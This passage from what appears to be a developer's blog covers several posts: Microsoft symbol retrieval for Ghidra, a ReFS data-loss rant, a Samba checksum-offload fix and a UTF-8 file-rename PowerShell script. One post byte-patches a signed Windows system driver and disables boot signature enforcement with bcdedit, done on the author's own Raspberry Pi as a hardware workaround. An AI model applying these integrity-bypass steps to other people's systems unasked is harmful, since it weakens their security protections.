$xml = New-Object xml
$xml.Load("$PWD\file.xml")
$i = 2001; foreach ($item in $xml.data.item) { if ($item.id -eq 0) { $item.id = [string]$i; $i++ } }
$xml.Save("$PWD\updated.xml")

Now your output (updated.xml) looks like:

<?xml version="1.0" encoding="UTF-8"?>
<data>
  <item name="Item 1" id="2001" />
  <item name="Item 2" id="1001" />
  <item name="Item 3" id="2002" />
  <item name="Item 4" id="1002" />
  <item name="Item 5" id="1005" />
  <item name="Item 6" id="2003" />
</data>

Easy-peasy...

(Ab)using Microsoft's symbol servers, for fun and profit

Since I find myself doing this on regular basis (Hail Ghidra!), and can never quite remember the commands.

Say you have a little Microsoft executable, such as the latest ARM64 version of usbxhci.sys, that you want to investigate using Ghidra.

Of course, one thing that can make the whole difference between hours of "Where the heck is the function call for the code I am after?" and a few of seconds of "Judging by its name, this call is the most likely candidate" is the availability of the .pdb debug symbols for the Windows executable you are analysing.

You may also know that, because of the huge corporate ecosystem they have where such information might be critical (as well as some government pressure to make it public), it so happens that Microsoft does make available a lot of the debug information that was generated during the compilation of Windows components. Now, since it can amount to a large volume of data (one can usually expect a .pdb to be 3 to 5 times larger than the resulting code) this debug information is not usually provided with Windows, unless you are running a Debug/Checked build.

But it can "easily" be retrieved from Microsoft's servers. Here's how.

First of all, you need to ensure that you have the Windows SDK or Windows Driver Kit installed. If you have Visual Studio 2019 (remember, the Community Edition of VS2019 is free) with the C++ development environment, these should already have been installed for you. But really it's up to you to sort that out and alter the paths below as needed.

With this prerequisite taken care of, you should find a commandline executable called symchk.exe somewhere in C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\. This is the utility that can connect to the Microsoft's servers to fetch the symbol files, i.e. the compilation .pdb's that Microsoft has made public.

So, let's say we have copied our ARM64 xHCI driver (USBXHCI.SYS - Why Microsoft suddenly decided to YELL ITS NAME is unknown) to some directory. All you need to do to retrieve its associated .pdb then is issue the command:

"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\symchk.exe" /s srv*https://msdl.microsoft.com/download/symbols /ocx .\ USBXHCI.SYS

The /s flag indicates where the symbols should be retrieved from (here the Microsoft's remote server) and the /ocx flag, followed by a folder, indicates where the .pdb should be copied (here, the same directory as the one where we have our driver).

If everything goes well, the output of the command should be:

SYMCHK: FAILED files = 0
SYMCHK: PASSED + IGNORED files = 1

with the important part being that the number of PASSED files is not zero, and you should find a newly created usbxhci.pdb in your directory. Neat!

"Hello, my name is Mr Snrub"

So, what do you do with that?

Well, I did mention Ghidra, and as a comprehensive disassembly/decompiler utility, Ghidra does of course have the ability to work with debug symbols if they happen to be available (sadly, it doesn't seem to have the ability to look them up automatically like IDA, or if it does, I haven't found where this can be configured), which helps turn an obtuse FUN_1c003ac90() function name, into a much more indicative XilRegister_ReadUlong64()...

For instance, let's say you happen to have been made aware that the reason why you currently can't use the rear USB-A ports for Windows 10 on the Raspberry Pi 4 is because Broadcom/VIA (most likely Broadcom, because they've already done everyone a number with implementing a DMA controller that chokes past 3 GB on the Bcm2711) have screwed up 64-bit PCIe accesses, and they end up returning garbage in the high 32-bit DWORD unless you only ever attempt to read 64-bit QWORDs as two sequential DWORDs instead of a single QWORD.

As a result of this, you may be exceedingly interested to find out if there exists something in the function calls used by Microsoft's usbxhci.sys driver, that can set 64-bit xHCI register accesses to be enacted as two 32-bit ones.

Obviously then, if, after using the .pdb we've just retrieved above, Ghidra helpfully tells you that there does exist a function call at address 1c003ac90 called XilRegister_ReadUlong64, you are going to be exceedingly interested in having a look at that call:

undefined8 XilRegister_ReadUlong64(longlong param_1,undefined8 *param_2)
{
  undefined8 local_30 [6];
  
  local_30[0] = 0;
  if (*(char *)(*(longlong *)(param_1 + 8) + 0x219) == '\0') {
    DataSynchronizationBarrier(3,3);
    if ((*(ulonglong *)(*(longlong *)(param_1 + 8) + 0x150) & 1) == 0) {
      // 64-bit qword access
      local_30[0] = *param_2;
    } else {
      DataSynchronizationBarrier(3,3);
      // 2x32-bit dword access
      local_30[0] = CONCAT44(*(undefined4 *)((longlong)param_2 + 4),*(undefined4 *)param_2);
    }
  } else {
    Register_ReadSecureMmio(param_1,param_2,3,1,local_30);
  }
  return local_30[0];
}

NB: The comments were not added by Ghidra. Ghidra may be good at what it does, but it's not that good...

Guess what? It so happens that there exists an attribute somewhere, that Microsoft uses the bit 0 of, to decide whether 64-bit xHCI registers should be read using two 32-bit access. Awesome, this looks exactly like what we're after.

The corresponding disassembly also tells us that this if condition is ultimately encoded as a tbnz ARM64 instruction. So if we revert that logic, by using a tbz instead of tbnz, we should be able to force the failing 64-bit reads to be enacted as 2x32-bit, which may fix our xHCI driver woes...

Let's do just that then, by editing USBXHCI.SYS and changing the EA 00 00 37 sequence at address 0x03a0d0 to EA 00 00 36 (tbnz → tbz) and, for good measure, do the same for XilRegister_WriteUlong64 at address 0x005b34, by also changing 0A 01 00 37 into 0A 01 00 36 to reverse the logic. "Yes that'll do".

"I like the way Snrub thinks!"

Well, we may have patched our driver and tried to fool the system by reversing some stuff, but, as the Simpsons have long attested, it's not going to do much unless you have a trusted sidekick to help you out.

Obviously, since we broke the signature of that driver the minute we changed even a single bit, we're going to have to tell Windows to disable signature enforcement for the boot on our target ARM64 platform, which can be done by setting nointegritychecks on in the BCD. And while we're at it we may want to enable test signing as well. Now, most of the commands you'll see are for the local BCD, but that's not what we are after here, since we want to modify a USB installed version of Windows, where, in our case, the BCD is located at S:\EFI\Microsoft\Boot\BCD. So the trick to achieving that (from a command prompt running elevated) is:

bcdedit /store S:\EFI\Microsoft\Boot\BCD /set {default} testsigning on
bcdedit /store S:\EFI\Microsoft\Boot\BCD /set {default} nointegritychecks on

However, if you only do that and (after taking ownership and granting yourself full permissions so that you can replace the existing driver) copy the altered USBXHCI.SYS to Windows\System32\drivers\ you will still be greeted by an obnoxious

Recovery

Your PC/Device needs to be repaired

The operating system couldn't be loaded because a critical system driver is missing or contains errors.

File: \Windows\System32\drivers\USBXHCI.SYS
Error code: 0xc0000221

Oh noes!

The problem, which is what generates the 0xc0000221 (STATUS_IMAGE_CHECKSUM_MISMATCH) error code, is that the optional PE checksum field, used by Windows to validate critical boot executables, has not been updated after we altered USBXHCI.SYS. Therefore checksum validation fails, and this is precisely what the Windows boot process is complaining about.

Fixing this is very simple: Just download PEChecksum64.exe (e.g. from here) and issue the command:

D:\Dis\>PEChecksum64.exe USBXHCI.SYS
USBXHCI.SYS: Checksum updated from 0x0008D39B to 0x0008D19B

For good measure, you will also need to self-sign that driver, so that you can avoid Windows booting into recovery mode with an obnoxious 0xc000000f from winload.exe (though you can still proceed to full boot from there).

Now we finally have all the pieces we need.

For instance, we can replace USBXHCI.SYS on a fast USB 3.0 flash drive containing an Raspberry Pi Windows 10 ARM64 installation created using WOR (and if you happen to have the latest EEPROM flashed as well as a version of the Raspberry Pi 4 UEFI firmware that includes this patch, you can actually boot the whole thing straight from USB), and, while we are at it, remove the 1 GB RAM limit that the Pi 4 had to have when booting from USB-C port (since we're not going to use that USB controller), by issuing, from an elevated prompt:

bcdedit /store Y:\EFI\Microsoft\Boot\BCD /deletevalue {default} truncatememory

Do all of the above and, who knows, you might actually end up with a usable Windows 10 ARM64 OS, running from one of the rear panel's fast USB 3.0 ports with a whooping 3 GB of RAM, on your Raspberry Pi 4.

Now, isn't that something?

But this is just a post about using Microsoft's symbol servers.

It's not a post about running full blown Windows 10 on the Raspberry Pi 4, right?

Addendum: In case you don't want to have to go through the taking of ownership, patching, updating of the PE checksum and digitally re-signing of the file yourself, may I also interest you in winpatch?

Et tu, Microsoft

It's a beautiful Saturday afternoon.

Everything is going as peachy as could be, with the satisfaction of having released a new version of your software, just a couple days ago, that wasn't short lived due to the all too common subsequent realisation that you managed to introduce a massive "oops", such as including completely wrong drivers for a specific architecture (courtesy of Rufus 3.10) or having your ext formatting feature break when a partition is larger than 4 GB (courtesy of Rufus 3.8)... Sometimes I have to wonder if Rufus isn't suffering from the same curse as the original Star Trek movie releases (albeit inverted in our case).

Thus, basking in the contentment of a job well done, you fire up your trusty Windows 10, which you upgraded to the 2004 release just a couple weeks ago (along with that Storage Space array you use), and go on your merry way, doing inconsequential Windows stuff, such as deciding to rename one folder.

And that's when all hell breaks lose...

Suddenly, your file explorer freezes, every disk access becomes unresponsive and you are seeing your most important disk (the one that contains, among other things, all the ISOs you accumulated for testing with Rufus, and which you made sure to set up with redundancy using Storage Spaces, along with an ReFS file system where file integrity had been enabled) undergoing constant access, with no application in sight seemingly performing those...

Oh and rebooting (provided you are patient enough to wait the 10 minutes it takes to actually reboot) doesn't help in the slightest. If anything, it appears to make the situation worse as Windows now takes forever to boot, with the constant disk access issue of your Storage Space drive still in full swing.

Yet the Storage Spaces control panel reports that all of the underlying HDDs are fine, a short SMART test on those also reports no issue and even a desperate attempt to try to identify what specific drive might be the source of the trouble, by trying each combination of 3 our 4 HDDs, yields nothing. If nothing else, it would confirm the idea that Microsoft did a relatively solid job with Storage Spaces, at least in terms of hardware gotchas, considering that every other parity solution I know of, such as the often decried Intel RAID, would scream bloody murder if you removed another drive before it got through the super time consuming rebuilding of the whole array (which is the precise reason I swore off using Intel RAID and moved to Storage Spaces).

An ReFS issue then? If that's the case, talk of a misnomer for something that's supposed to be resilient...

Indeed, the Event Viewer shows a flurry of ReFS errors, ultimately culminating in this ominous message, that gets repeated many times as the system attempts to access the drive, as you end up finding that your drive has been "remounted" as RAW:

Volume D: is formatted as ReFS but ReFS is unable to mount it;
ReFS encountered status The volume repair was not successful...

Someone at Microsoft may want to look up the definition of resiliency...

Ugh, that's the second ReFS drive I lose in about a month (earlier was an SSD that hosted all my VMs, and that Windows mysteriously overwrote as a Microsoft Reserved Partition)! If that's indicative of a trend, I think that Microsoft might want to weather-test their data oriented solutions a little better. Things used to be rock-stable, but I can't say I've been impressed by Windows 10's prowess on the matter lately...

And yes, I do have some backups of course (well, I didn't for those VMs, but that was data I could afford to lose) but they are spread all over the place on account that I am not made of money, dammit!

See, the whole point of entrusting my data to a 10 TB parity array made of 4x4 TB HDDs was that I could reuse drives that I (more or less) had lying around, and you'd better believe those were the cheapest 4 TB drives I'd been able to lay my hands on. In other words, Seagate, since HDD manufacturers have long decided, or, should I say, colluded, that they should stop trying to compete on price, as further evidenced by the fact that I still paid less for an 8 TB HDD, two frigging years ago, than the cheapest price I could find for the exact same model today.

"Storage is getting cheaper", my ass!

Oh and since we're talking about Seagate and reliability, I will also state that, in about 20 years of using almost exclusively Seagate drives, on account that they are constantly on the cheaper side (though Seagate and other manufacturers may want to explain why on earth it is cheaper to buy a USB HDD enclosure, with cable, PSU and SATA ↔ USB converter, than the same bare model of HDD), I have yet to experience a single drive failure for any Seagates I use in my active RAID arrays.

So when people say Seagate is too unreliable, I beg to anecdotally differ since, for the price, Seagate's more than reliable enough. I mean, between paying exactly 0 € for 10 TB with parity vs. between 500 to 700 € (current price, at best) for a parity or mirrored NAS array, there's really no contest. I don't mind that a lot of people appear to have semi-bottomless pockets, and can't see themselves go with less than a mirroring solution with brand new NAS drives. But that's no reason to look down on people who do use parity along with cheap non NAS drives, because price is far from being an inconsequential factor when it comes to the preservation of their data...

And it's even more true here as the issue at hand has nothing to do with using cheap hardware and that everyone knows that a parity or mirroring solution is worth nothing if you don't also combine it with offline backups, which means even more disks, preferably of large capacity, and therefore even more budget to provision...

All this to say that there's a good reason why I don't have a single 8 or 10 TB HDD lying around, with all my backups for the array that went offline, and why, as much as I wish otherwise, there are going to be gaps in the data I restore... So yeah, count me less than thrilled with a data loss that wasn't incurred by a hardware failure or my own carelessness (the only ever two valid causes for losing data).

Alas, with the Windows 10 2004 feature update, it appears that the good folks at Microsoft decided that there just weren't enough ways in which people could kill their data. So they created a brand new one.

Enters KB4570719.

The worst part of it is that I've seen reports indicating that this, as well as other corollary issues, was pointed out to Microsoft by Windows Insiders as far back as September 2019. So why on earth was something that should instantly have been flagged as a super critical data loss issue, included in the May 2020 update?

Oh and of course, at the time of this post, i.e. about one month after the data-destructive Windows update was released, there's still no solution in sight... though, from what I have found, non extensible parity Storage Spaces may be okay to use, as long as these were created using PowerShell commands to make them non dynamically extensible, rather than through the UI which forces extensible.

If this post seems like a rant, it's because it mostly is, considering that I am less than thrilled at having had to waste one week trying to salvage what I could of my data. But since we need to conclude this little story, let me impart the following two truths upon you:

1. EVERYTHING, and I do mean EVERYTHING is actively trying to murder your data.
Do not trust the hardware. Do not trust yourself. And especially, do not trust the Operating System not to lounge a sharp blade straight through your data's toga, during the Ides of June.

2. (Since this is something I am all too commonly facing with Rufus' user reports) It doesn't matter how large and well established a software company is compared to an Independent Software Developer; the OS can still very much be the one and only reason why third party software appears to be failing, and you should always be careful never to consider the OS above suspicion. There is no more truth to "surely a Microsoft (or an Apple or a Google for that matter) would not to ship an OS that contains glaring bugs" today as there has been in the past, or as there will be in the future.
The OS can and does fail spectacularly at times (and I have plenty more examples besides this one, that I could provide). So don't fail to account for that possibility.

Why is my Samba connection failing?

Or how nice it is to have a problem that has long eluded you finally explained.

Part 1: The horror

You see, I've been using a FriendlyArm/FriendlyElec RK3399-based NanoPC-T4 to run Linux services, such as a staging web server for Rufus, network print host, various other things as well as a Samba File Server...

However, this Samba functionality seemed to be plagued like there was no tomorrow: Almost every time I tried to fetch a large file from it, Windows would freeze during transfer, with no recovery and not even the possibility of cancelling unless the Samba service was restarted manually on the server.

But what was more vexing is that these problems with Samba did not manifest themselves until I switched from using an old Lubuntu distribution, that was provided by the manufacturer of that device, to a more up to date Armbian. With Lubuntu, Samba seemed rock-solid, but with Armbian, it was hopeless.

This became so infuriating that I had to giveup on using Samba on that machine altogether and, considering that things usually seemed to be okay-ish after the service had restarted, I dismissed it as a pure Samba/arch64 bug, that newer versions of Samba or Debian had triggered, and that would eventually get fixed. But of course, that long awaited fix never seemed to manifest itself and I had better things to do than invest time I didn't have trying to troubleshoot a functionality that wasn't that critical to my workflow.

Besides, the Samba logs were all but useless. Nothing in there seemed to provide any indication that Samba was even remotely unhappy. And of course, you can forget about Windows giving you any clue about why the heck your Samba file transfers are freezing...

Part 2: The light at the end of the tunnel

Recently however, in the course of the Raspberry Pi 4 UEFI firmware experiments, it turns out that I was using that same server to test UEFI HTTP boot of a large (900 MB) ISO, that was being served from the Apache server running on that NanoPC machine, and had no joy with getting the full transfer complete either. Except, there, it wasn't freezing. It just seemed to produce a bunch of TcpInput: received a checksum error packet before giving up on the transfer altogether...

URI: http://10.0.0.7/~efi/ubuntu.iso
File Size: 916357120 Bytes
Downloading...1%
TcpInput: received a checksum error packet
TcpInput: Discard a packet
TcpInput: received a checksum error packet
TcpInput: Discard a packet
TcpInput: received a checksum error packet
TcpInput: Discard a packet
TcpInput: received a checksum error packet
TcpInput: Discard a packet
TcpInput: received a checksum error packet
TcpInput: Discard a packet
TcpInput: received a checksum error packet
TcpInput: Discard a packet
HttpTcpReceiveNotifyDpc: Aborted!

Error: Server response timeout.

Yet, serving the same content from the native python3 HTTP server (python3 -m http.server 80, which is a super convenient command to know as it acts as an HTTP server and serves any content from the current directory through the specified port) appeared to be okay, albeit with the occasional checksum errors. This is suddenly starting to look like a lot of compounded network errors... Could this be related to that Samba issue?

Now, the first thing you do when you get reports of TCP checksum errors, is try a different cable, a different switch and so on, to make sure that this is not a pure hardware problem. But I had of course tried that during the process of trying to troubleshoot the failing Samba server, and, once again, the results of switching equipment and cabling around were all negative.

But at least a bunch of checksum errors does give you something to start to work with.

For one thing, you can monitor these errors with tcpdump (tcpdump -i eth0 -vvv tcp | grep incorrect) and, more importantly, you may find some very relevant articles that point you to the very root of the problem.

Long story short, if tcpdump -i eth0 -vvv tcp | grep incorrect produces loads of checksum errors on the platform you serve content from, you may want to look into disabling offloading from the network adapter with something like:

ethtool -K eth0 rx off tx off

Or you may continue to hope that the makers of your distro will take action, but that might just turn out to be wishful thinking...

PowerShell script to Convert UTF-8 misinterpreted file names

You'd think that somebody else would have come up with a quick script to do just that on Windows, but it looks like nobody else bothered, so here goes.

Here's the deal: You copied a bunch of files, and somewhere along the way, one of the applications screwed up and did not produce actual Unicode file names but instead misinterpreted the UTF-8 sequences as CodePage 1252, resulting in something dreadful like this:

And now you'd like to have a quick way to convert the 1252-interpreted UTF-8 to actual UTF-8. So you look around thinking that, surely, someone must have done something to sort this annoyance, but the only thing you can find is a UNIX perl script called convmv, which isn't really helpful. Why hasn't anyone crafted a quick PowerShell script to do the same on Windows already?

Well, it turns out that, because of PowerShell's limitations, and Windows' getting in the way of enacting a proper conversion of 1252 to UTF-8, producing such a script is actually a minor pain in the ass. Still, now, someone has produced such a thing:

#region Parameters
param(
 # (Optional) The directory
 [string]$Dir = "."
)
#endregion

# You'll need to have your console set to CP 65001 AND use NSimSun as your
# font if you want any hope of displaying CJK characters in your console...
[Console]::OutputEncoding = [System.Text.Encoding]::UTF8

$files = Get-ChildItem -File -Path $Dir -Recurse -Name

foreach ($f in $files) {
  $bytes = [System.Text.Encoding]::GetEncoding(1252).GetBytes($f)
  $nf = [io.path]::GetFileName([System.Text.Encoding]::UTF8.GetString($bytes))
  Write-Host "$f" → "$nf" # [$hex]
  # Must use -LiteralPath else files that contain '[' or ']' in their name produce an error
  Rename-Item -LiteralPath "$f" -NewName "$nf"
}

# Produce a "Press any key" message when ran with right click
$auxRegKey='\SOFTWARE\Classes\Microsoft.PowerShellScript.1\Shell\0\Command'
$auxRegVal=(get-itemproperty -literalpath HKLM:$auxRegKey).'(default)'
$auxRegCmd=$auxRegVal.Split(' ',3)[2].Replace('%1', $MyInvocation.MyCommand.Definition)
if ("`"$($myinvocation.Line)`"" -eq $auxRegCmd) {
  Write-Host "`nPress any key to exit..."
  $null = $Host.UI.RawUI.ReadKey('NoEcho,IncludeKeyDown')
}

If you save this script to something like utf8_rename.ps1 in the top directory where you have your misconverted files, and then use Run with PowerShell in the explorer's context menu, you should then see some output like this (provided your console is set to codepage 65001, a.k.a. UTF-8 and that you select a font that actually supports CJK characters, such as NSimSun (Microsoft will really have to explain how they have no trouble displaying CJK with NSimSun but still can't seem/want to do it with Lucida Console):

Eventually, your file names should have been converted to their expected value, and all will be well:

That is, until someone who thinks it's okay to not properly support UTF-8 absolutely EVERYWHERE (Hey Microsoft, how about some UTF-8 Win32 APIs already?) screws up and forces people to manually unscrew their codepage handling yet again...

Bonus

By the way if you're using Windows 10 19H1 or later, you should know that Microsoft finally added a setting to set the system codepage to UTF-8, which seems to finally improve on the failed codepage conversions that prompted the above script. Even as it says that it's in Beta, you may want to enable it: